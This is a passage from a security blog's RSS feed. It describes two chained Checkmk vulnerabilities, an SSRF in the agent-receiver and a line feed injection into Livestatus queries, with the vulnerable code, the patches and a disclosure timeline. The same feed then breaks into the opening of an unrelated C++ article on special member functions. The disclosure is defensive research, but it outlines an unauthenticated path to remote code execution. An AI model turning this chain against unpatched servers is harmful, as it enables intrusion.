and lower:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/T8qVRjcKiJw&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;p&gt;We verified the exploitation for the open-source Raw Edition by leveraging a specific feature of its monitoring core. It is likely that an attacker can use similar techniques to exploit a server running an Enterprise Editions.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;All of these issues are fixed with Checkmk version 2.1.0p12. We strongly recommend updating any instance with a version before this release.&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In this section, we start by looking at the basic architecture of Checkmk and its components. Based on this, we outline how the identified vulnerabilities can be chained together by an attacker and deep dive into the technical details of the first two vulnerabilities, which are the beginning of a full chain to gain unauthenticated, remote code execution.&lt;/p&gt;&lt;h3&gt;Background&lt;/h3&gt;&lt;p&gt;Checkmk is an IT infrastructure monitoring solution similar to Zabbix or Icinga. The configuration and monitoring of servers, networks, applications, etc., is done via a web interface. This user-facing component is developed in Python and is called Checkmk GUI.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In order to retrieve additional information from the monitored systems, it is possible to deploy a monitoring agent on these systems. The component responsible for registering agents and receiving data from these agents is called the agent-receiver.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The following picture outlines the basic architecture of Checkmk:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ae791816-c5a1-4c21-9755-c1936717d1b5/body-56ba7506-82d9-4b1f-98ea-dd5aff445ab0_checkmk-architecture.png&quot; /&gt;&lt;p&gt;Checkmk exposes two ports on the external network interface by default:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;TCP port 80: actual web interface&lt;/li&gt;&lt;li&gt;TCP port 8000: agent-receiver&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The first component of the web interface is an Apache web server running on TCP port 80, which serves as a reverse proxy. It is possible to run multiple Checkmk instances on a single host. These instances are called monitoring sites or simply sites. For each site, a dedicated, internal Apache server is spawned. The purpose of the outer reverse proxy is to map requests for a specific site to the corresponding internal Apache server dedicated to the requested site. In the picture above, the site &lt;code&gt;monitoring&lt;/code&gt; is mapped to the Apache server running on TCP port 5000. From the outside, this Apache server can only be reached via the reverse proxy because it only listens on localhost.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The site-dedicated Apache server forwards requests to either the actual Checkmk GUI, a Python WSGI application, or via FCGI to a PHP wrapper in order to integrate the NagVis PHP component.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The heart of Checkmk is the monitoring core, which is responsible for initiating checks, collecting data, detecting state changes, and providing information to the GUI. While the Checkmk Enterprise Editions have their own monitoring core, the open-source Raw Edition uses a Nagios monitoring core. To retrieve data from it, the core provides an interface called Livestatus, which is implemented as a C++ Nagios broker module called &lt;code&gt;livestatus.o&lt;/code&gt;. This interface uses a proprietary protocol called Livestatus Query Language (LQL), which is similar to both HTTP and SQL. For example, a query to retrieve the name and IP address of all monitored hosts, which are in &lt;code&gt;DOWN&lt;/code&gt; (&lt;code&gt;1&lt;/code&gt;) or &lt;code&gt;UNREACH&lt;/code&gt; (&lt;code&gt;2&lt;/code&gt;) state, looks like this:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/370c1d0d-b6b5-4081-93d3-3926b2bcdff0/body-c8c4d41f-6c49-4f93-b107-4581c88947b5_checkmk-lql01.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The response may look like this:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/918bfc87-0ea1-4e2d-9a08-09762001f068/body-2bdbf195-1413-46f6-ae01-fae0a3e84331_checkmk-lql02.png&quot; /&gt;&lt;p&gt;More advanced queries can be built by using additional headers. Whenever the GUI needs some data from the core, it sends an LQL query to it, and the core responds with the requested data.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The second component directly reachable via the external interface is the &lt;code&gt;agent-receiver&lt;/code&gt;. The agent-receiver is a FastAPI web server listening on TCP port 8000, which provides different routes for registering agents and collecting data from these agents.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With this basic understanding of Checkmk’s components, let’s see how an unauthenticated attacker would be able to chain the identified code vulnerabilities together in order to gain remote code execution.&lt;/p&gt;&lt;h3&gt;Exploitation Chain&lt;/h3&gt;&lt;p&gt;Some of the identified vulnerabilities have limited practical impact on their own. However, a malicious attacker can chain them together to achieve remote code execution.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The following picture summarizes what abilities the exploitation of an individual vulnerability yields and how an attacker can build on this ability to leverage the following vulnerability to further increase control, which finally results in unauthenticated, remote code execution:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/513dbea0-f520-4135-9136-fdd6f4284af6/body-fee129ee-2bd1-496a-9e34-2cbabbf0e3b2_checkmk-chain-all.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The exploitation chain starts with a Server-Side Request Forgery in the agent-receiver (1), which can be leveraged by an attacker to access an endpoint only reachable from localhost. This endpoint is vulnerable to a Line Feed Injection (2). This gives an attacker the ability to forge arbitrary LQL queries, which are used by the Checkmk GUI to retrieve data from the monitoring core. An attacker can take advantage of this ability to delete arbitrary files, which can further be leveraged to bypass the authentication mechanism in the NagVis component.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Once an attacker has gained access to the NagVis component, an authenticated Arbitrary File Read vulnerability (3) in NagVis can be leveraged to read a special Checkmk configuration file called &lt;code&gt;automation.secret&lt;/code&gt;. With access to the contents of this file, an attacker can gain access to the Checkmk GUI in the context of the automation user. This access can further be turned into remote code execution by exploiting a Code Injection vulnerability (4) in a Checkmk GUI subcomponent called &lt;code&gt;watolib&lt;/code&gt;, which generates a file named &lt;code&gt;auth.php&lt;/code&gt; required for the NagVis integration. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;After this rough overview of the exploitation chain, let’s dive into the technical details of the first two code vulnerabilities:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/cabcbae5-c8fc-4c9d-8b75-a71530f6fea6/body-0be46e6a-d02d-432c-bd7b-65086e8da82e_checkmk-chain-01.png&quot; /&gt;&lt;h3&gt;Server-Side Request Forgery in agent-receiver (CVE-2022-48321)&lt;/h3&gt;&lt;p&gt;The Checkmk agent-receiver is a FastAPI web server, which is by default exposed on TCP port 8000. Most of the provided endpoints forward requests to the Checkmk REST API, which is part of the Checkmk GUI exposed on TCP port 80.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The endpoint called &lt;code&gt;/register_with_hostname&lt;/code&gt; expects a POST request with credentials provided via HTTP Basic authentication as well as the two JSON-encoded parameters &lt;code&gt;uuid&lt;/code&gt; and &lt;code&gt;host_name&lt;/code&gt; in the body. The endpoint handler itself only verifies that any credentials are provided and that the two parameters are present.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In order to retrieve and validate the host configuration of the host identified by the &lt;code&gt;host_name&lt;/code&gt; parameter, the function &lt;code&gt;host_configuration&lt;/code&gt; is called:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;checkmk/agent-receiver/agent-receiver/endpoints.py&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;@agent_receiver_app.post(
   &quot;/register_with_hostname&quot;,
   status_code=HTTP_204_NO_CONTENT,
)
async def register_with_hostname(
   *,
   credentials: HTTPBasicCredentials = Depends(security),
   registration_body: RegistrationWithHNBody,
) -&gt; Response:
   _validate_registration_request(
       host_configuration(
           credentials,
           registration_body.host_name,
       )
   )&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;host_configuration&lt;/code&gt; function forwards the request to the Checkmk REST API by calling the function &lt;code&gt;_forward_get&lt;/code&gt;. The user-provided parameter &lt;code&gt;host_name&lt;/code&gt; is appended to the target URL without any sanitization or encoding:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;checkmk/agent-receiver/agent-receiver/checkmk_rest_api.py&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def host_configuration(
   credentials: HTTPBasicCredentials,
   host_name: str,
) -&gt; HostConfiguration:
   if (
       response := _forward_get(
           f&quot;objects/host_config_internal/{host_name}&quot;,
           credentials,
       )
   ).status_code == HTTPStatus.OK:&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This lack of sanitization and encoding leads to a limited Server-Side Request Forgery (SSRF) vulnerability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At first, the impact of this vulnerability does not seem to be very high because the SSRF is limited to a GET request to the hostname and port of the Checkmk GUI, and an attacker cannot even read the response. However, this gives an attacker the essential ability to exploit a second vulnerability. Let’s have a look at it.&lt;/p&gt;&lt;h3&gt;Line Feed Injection in ajax_graph_images.py (CVE-2022-47909)&lt;/h3&gt;&lt;p&gt;The Checkmk GUI only provides a minimal number of unauthenticated endpoints. This greatly reduces the attack surface. One of the unauthenticated endpoints is called &lt;code&gt;/ajax_graph_images.py&lt;/code&gt;, whose endpoint handler is implemented in the function &lt;code&gt;ajax_graph_images_for_notifications&lt;/code&gt;. The purpose of this endpoint is to generate an image with performance data for a given host or service.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Although this endpoint can be accessed unauthenticated, access is restricted by only allowing requests, which originate from localhost (&lt;code&gt;127.0.0.1&lt;/code&gt; or &lt;code&gt;::1&lt;/code&gt;):&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;checkmk/cmk/gui/plugins/metrics/graph_images.py&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def ajax_graph_images_for_notifications(
   resolve_combined_single_metric_spec: Callable[
       [CombinedGraphSpec], Sequence[CombinedGraphMetricSpec]
   ],
) -&gt; None:
   &quot;&quot;&quot;Registered as `noauth:ajax_graph_images`.&quot;&quot;&quot;
   if request.remote_ip not in [&quot;127.0.0.1&quot;, &quot;::1&quot;]:
       raise MKUnauthenticatedException(
           _(&quot;You are not allowed to access this page (%s).&quot;) % request.remote_ip
       )

   with SuperUserContext():
       _answer_graph_image_request(resolve_combined_single_metric_spec)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;After verifying that the request originates from localhost, the function &lt;code&gt;_answer_graph_image_request&lt;/code&gt; is called. This function validates that a &lt;code&gt;host&lt;/code&gt; GET parameter is provided and then calls &lt;code&gt;get_graph_data_from_livestatus&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;checkmk/cmk/gui/plugins/metrics/graph_images.py&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def _answer_graph_image_request(
   resolve_combined_single_metric_spec: Callable[
       [CombinedGraphSpec], Sequence[CombinedGraphMetricSpec]
   ],
) -&gt; None:
   try:
       host_name = request.get_ascii_input_mandatory(&quot;host&quot;)
       if not host_name:
           raise MKGeneralException(_(&apos;Missing mandatory &quot;host&quot; parameter&apos;))
       ...
       try:
           row = get_graph_data_from_livestatus(site, host_name, service_description)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The function &lt;code&gt;get_graph_data_from_livestatus&lt;/code&gt; retrieves performance data for the given host via the Livestatus Query Language (LQL) interface. When inspecting all invoked functions within the call stack, the &lt;code&gt;_ensure_connected&lt;/code&gt; function caught our attention:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;checkmk/cmk/gui/sites.py&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def _ensure_connected(user: Optional[LoggedInUser], force_authuser: Optional[UserId]) -&gt; None:
   ...
   if force_authuser is None:
       request_force_authuser = request.get_str_input(&quot;force_authuser&quot;)
       force_authuser = UserId(request_force_authuser) if request_force_authuser else None
   ...
   _set_livestatus_auth(user, force_authuser)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Although this is an internal function part of the code responsible for querying the LQL interface, a GET parameter called &lt;code&gt;force_authuser&lt;/code&gt; is accessed. Further inspecting the call stack reveals that this GET parameter is inserted into the &lt;code&gt;AuthUser&lt;/code&gt; header of the LQL query without any sanitization:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/7825f82a-64fc-4f61-9a7f-a904d193fa41/body-e318ed88-2801-4022-8008-52278c807470_checkmk-call-chain.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;code&gt;AuthUser&lt;/code&gt; header is used to restrict the response to data that the specified user is allowed to see. However, this is not essential for our considerations. The important aspect is that the above &lt;code&gt;AuthUser&lt;/code&gt; string contains the value of the GET parameter &lt;code&gt;force_authuser&lt;/code&gt; and this string is inserted into the final LQL query sent to the monitoring core. Since the GET parameter &lt;code&gt;force_authuser&lt;/code&gt; is not sanitized, it is also possible to insert line feed characters (&lt;code&gt;0x0a&lt;/code&gt;) into the LQL query.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Usually, an external attacker cannot reach the vulnerable endpoint &lt;code&gt;/ajax_graph_images.py&lt;/code&gt; because it is restricted to localhost only. When combined with the SSRF vulnerability in the agent-receiver this assumption is not valid anymore. The SSRF can for example be used to trigger a request with the following GET parameter:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/cb4aa71c-c800-4238-b104-2143a02744a2/body-e60362bc-c948-4f30-a479-13361f2d6f0b_checkmk-lql03.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This request results in the following LQL query sent to the core:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/f99c493c-2621-4db0-9f45-9afd1a1c48e0/body-9c478387-d0cc-447c-a268-3b2642531ada_checkmk-lql04.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By using a line feed character in the &lt;code&gt;force_authuser&lt;/code&gt; parameter, additional headers can be injected into the LQL query:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/d986d7f6-c177-48fa-b6e3-2a89da050952/body-ca7068d7-f018-4ce8-a73e-af5d1afbe4f8_checkmk-lql05.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The resulting LQL query contains the additional header:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/53cdfe7b-d1cd-4ad7-92e2-9a4b55446755/body-c0bf8765-7219-410b-afe4-acb30c23fda7_checkmk-lql06.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The ability to inject a whole new query in order to use other tables or commands would increase the attack surface even more. An attacker could try to add two line feed characters and insert a new query after these:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/0990d946-c8e1-437d-b469-c1e7d45a53fd/body-6f87ff83-4563-44d8-a7e7-914755d75e4b_checkmk-lql07.png&quot; /&gt;&lt;p&gt;However, the LQL interface terminates the connection by default if two subsequent line feed characters are read, which form the end of a single query. Thus the second query is not evaluated:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/012c2ca4-069e-4d7e-8033-f1196ef32b0e/body-5d27877e-3e24-4941-ae23-0e06e20b52f9_checkmk-lql08.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This behavior can be altered by leveraging the &lt;code&gt;KeepAlive&lt;/code&gt; header. When this header is set to &lt;code&gt;on&lt;/code&gt;, the connection will be kept alive. This way whole new LQL queries can be injected:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/91965d31-1d7b-4942-955e-d455eacee56b/body-4e5a78ae-76c4-4aae-a4ea-04dc51a0166d_checkmk-lql09.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This results in three distinct LQL queries, which are processed separately.&lt;/p&gt;&lt;p&gt;Query 1:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/70a8ca1f-1ae1-493b-96f3-69a81c3c9147/body-02382b7a-8857-4dbb-bdc3-8e0b6798a7b4_checkmk-lql10.png&quot; /&gt;&lt;p&gt;Query 2:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/15083dab-a18a-4d20-9463-191a46264108/body-3f34cb05-829c-4e03-9e54-5d39416a999f_checkmk-lql11.png&quot; /&gt;&lt;p&gt;Query 3:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/e0e965b2-9cb7-4a20-8321-096be8f6c9c5/body-0e888fc8-99ac-4952-9cb2-946cf15a2e44_checkmk-lql12.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The second query can be fully controlled by an attacker.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With this ability, an attacker has literally made it to the core of Checkmk. Within the next article of this series, we will explore the LQL interface as a new attack surface and see how some minor differences in a developer’s implementation can prevent or enable an attacker to bypass authentication mechanisms.&lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;Checkmk patched the &lt;a href=&quot;https://checkmk.com/werk/14385&quot;&gt;limited SSRF&lt;/a&gt; in the agent-receiver in version 2.1.0p12 (&lt;a href=&quot;https://github.com/tribe29/checkmk/commit/2a384409a17c33422964f9d61327aaf49da069e7&quot;&gt;commit&lt;/a&gt;). According to our recommendations, the endpoint handler for &lt;code&gt;/register_with_hostname&lt;/code&gt; now URL-encodes the &lt;code&gt;host_name&lt;/code&gt; parameter before inserting it into the URL:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;checkmk/agent-receiver/agent-receiver/checkmk_rest_api.py&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;from urllib.parse import quote
...

def _url_encode_hostname(host_name: str) -&gt; str:
    ...
    return quote(host_name, safe=&quot;&quot;)  # &apos;/&apos; is not &quot;safe&quot; here
...

def host_configuration(...):
   ...
       response := _forward_get(
           f&quot;objects/host_config_internal/{_url_encode_hostname(
host_name)}&quot;, ...)
   ...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This prevents an attacker from accessing other endpoints than the intended one when the request is forwarded to the Checkmk REST API.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;a href=&quot;https://checkmk.com/werk/14384&quot;&gt;Line Feed Injection vulnerability&lt;/a&gt; was also patched with version 2.1.0p12 (&lt;a href=&quot;https://github.com/tribe29/checkmk/commit/2e8cf315be262df7a749c55f205ff21f895a84db&quot;&gt;commit&lt;/a&gt;) by validating the value provided for the &lt;code&gt;AuthUser&lt;/code&gt; header:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;checkmk/livestatus/api/python/livestatus.py&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# Pattern for allowed UserId values
validate_user_id_regex = re.compile(r&quot;^[\w_][-\w.@_]*$&quot;)
...
   # Set user to be used in certain authorization domain
   def set_auth_user(self, domain: str, user: UserId) -&gt; None:
       # Prevent setting AuthUser to values that would be rejected later. See Werk 14384.
       # Empty value is allowed and used to delete from auth_users dict.
       if user and validate_user_id_regex.match(user) is None:
           raise ValueError(&quot;Invalid user ID&quot;)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Also, an additional check for injected line feed characters was introduced:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;checkmk/livestatus/api/python/livestatus.py&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def build_query(self, query_obj: Query, add_headers: str) -&gt; str:
       # Prevent injection of further livestatus commands inside AuthUser header.
       if &quot;\n&quot; in self.auth_header[:-1]:
           raise MKLivestatusQueryError(&quot;Refusing to build query with invalid AuthUser header.&quot;)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;These patches effectively prevent an attacker from injecting line feed characters in the &lt;code&gt;force_authuser&lt;/code&gt; parameter.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-08-22&lt;/td&gt;&lt;td&gt;We report all issues to Checkmk.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-08-23&lt;/td&gt;&lt;td&gt;Vendor confirms all issues.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-09-15&lt;/td&gt;&lt;td&gt;Vendor releases patched version 2.1.0p12.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this first article in a series of three, we briefly introduced the Checkmk architecture and outlined the vulnerabilities we identified including the serious impact of chaining these together. We also did a technical deep dive into the first two vulnerabilities, which enable an external attacker to send arbitrary LQL queries to the monitoring core.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The root cause of most vulnerabilities is the lack of sanitization of user-controlled data. This is also true for both of the vulnerabilities we looked at. The Line Feed Injection vulnerability is somehow hard to spot because the user-controlled data is accessed by a function deep down in the call stack and not directly in the endpoint handler. This is generally a bad pattern and should be prevented.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the next article in this series, we will have a more detailed look at the LQL interface and derive the impact of an attacker’s ability to forge arbitrary queries. We will also look at Checkmk’s NagVis integration and how the aforementioned ability can be leveraged to bypass the authentication of NagVis due to some specific implementation details.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, we would like to thank the Checkmk team very much for quickly responding to our report, handling each issue with absolute transparency, and providing a comprehensive patch for all reported vulnerabilities.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/checkmk-rce-chain-2/&quot;&gt;Checkmk: Remote Code Execution by Chaining Multiple Bugs (2/3)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/checkmk-rce-chain-3/&quot;&gt;Checkmk: Remote Code Execution by Chaining Multiple Bugs (3/3)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/zabbix-case-study-of-unsafe-session-storage/&quot;&gt;Zabbix - A Case Study of Unsafe Session Storage&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/&quot;&gt;Path Traversal Vulnerabilities in Icinga Web&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Beyond the Rules of Three, Five and Zero]]></title><description><![CDATA[After examining the Rules of Three, Five, and Zero, part 2 of this series looks at the exceptions that prove the rule(s). Some of them may surprise you (no, really)!]]></description><link>https://www.sonarsource.com/blog/beyond-the-rules-of-three-five-and-zero</link><guid isPermaLink="false">bcb0c21d-0776-53db-ba88-3c4afcdc88e2</guid><dc:creator><![CDATA[Phil Nash]]></dc:creator><pubDate>Wed, 26 Oct 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In the previous &lt;a href=&quot;https://blog.sonarsource.com/the-rules-of-three-five-and-zero/&quot;&gt;article&lt;/a&gt; we looked at the Rules of Three, Five and Zero - what they are and when to use which (spoiler: use the Rule of Zero).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But rules often have exceptions - and sometimes those exceptions are important in their own right. What cases exist beyond the Rule of Zero and how can we make sense of them?&lt;/p&gt;&lt;h2&gt;Categories of Types&lt;/h2&gt;&lt;p&gt;In C++ the words Type and Class have subtly different meanings. But in natural language we talk more generally about &lt;em&gt;types&lt;/em&gt; of things, or &lt;em&gt;classes&lt;/em&gt; of things. It can be hard to find unambiguous words to talk about types or classes of… well, types or classes! Peter Sommerlad uses the term “class &lt;em&gt;natures&lt;/em&gt;” but I’m going to use the word “category” here. However I do feel the need to add the disclaimer that this is not to be confused with the mathematical notion of a category (i.e. from Category Theory) - although, of course, there is a relation. It’s also worth mentioning that a type may belong to more than one category.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We talked already about value types and polymorphic base classes, but another common category of type is what we might call Resource Managers. These are types that directly manage a resource of some form: they typically acquire a resource in their constructor and destroy or release it in their destructor. They may do more in between, but that depends on their sub-category, as we’ll see. Perhaps the most obvious examples of these are smart pointers, such as &lt;code&gt;unique_ptr&lt;/code&gt; and &lt;code&gt;shared_ptr&lt;/code&gt;. These manage the resource of memory - as do &lt;code&gt;std::string&lt;/code&gt; and &lt;code&gt;std::vector&lt;/code&gt; (which are also good examples of belonging to more than one category - they are also value types). We also have file streams, which manage file handles, lock guards for managing mutexes, and many others.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;These are where the Rules of 3 and 5 traditionally shine.&lt;/p&gt;&lt;h2&gt;Sub-categories of Resource Manager&lt;/h2&gt;&lt;p&gt;In terms of the special member functions, at first it seems that each resource manager type goes its own way. But broadly speaking there are three sub-categories of Resource Manager, depending on the approach towards ownership: Scoped, Unique and General.&lt;/p&gt;&lt;h3&gt;Scoped Managers&lt;/h3&gt;&lt;p&gt;These are non-copyable, non-moveable types. Their main purpose is to do something in their destructors - a form of deferred execution. Combined with C++’s property of deterministic destruction, if such an object is instantiated on the stack then we know exactly when that destructor will run (at the end of the scope it was declared in, or at the point of propagation of an exception) and in what order (the reverse order of construction). This can be critical for things like, for example, a scoped_lock that manages a mutex.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The destructor is clearly important, but so is the constructor. A scoped manager will typically have a custom constructor that will &lt;em&gt;acquire&lt;/em&gt; or take ownership of some resource - perhaps from some lower level API. It may also have other constructors if the resource is created internally, or a default constructor may indicate nullability. Whichever approach makes sense we can consider these Acquire Constructors.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Copy and move constructors should be deleted, however - along with copy and move-assignment operators.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;~ScopedManager() { /* custom destruction code */ }
ScopedManager( /* optional arguments */ ) { /* optional custom constructor */ }

ScopedManager(ScopedManager const &amp;) = delete;
ScopedManager(ScopedManager &amp;&amp;) = delete;
ScopedManager operator=(ScopedManager const &amp;) = delete;
ScopedManager operator=(ScopedManager &amp;&amp;) = delete;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So: deleted copy and move operations, again. We already saw that in the previous article when we looked at Polymorphic Base Classes. We could delete them all manually - or we can use the shorthand of just deleting the move-assignment operator.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;ScopedManager operator=(ScopedManager &amp;&amp;) = delete;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That’s a lot less code. But wait, what? Why does this work?&lt;/p&gt;&lt;h3&gt;Aside: C++’s special member function rules&lt;/h3&gt;&lt;p&gt;At the center of why some of these interactions are subtle, and often unintuitive, are the rules for which special member functions are synthesized by the compiler and under what circumstances. Before C++11 the problem was that default copy operations were generated in all cases - even if you defined a destructor. The language itself violated the Rule of 3 - hence the need to apply it explicitly.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When C++11 added the move operations they didn’t make the same mistake. If you define a move constructor or move assignment operator then the copy operations are deleted. That leaves an inconsistency, so we still need to 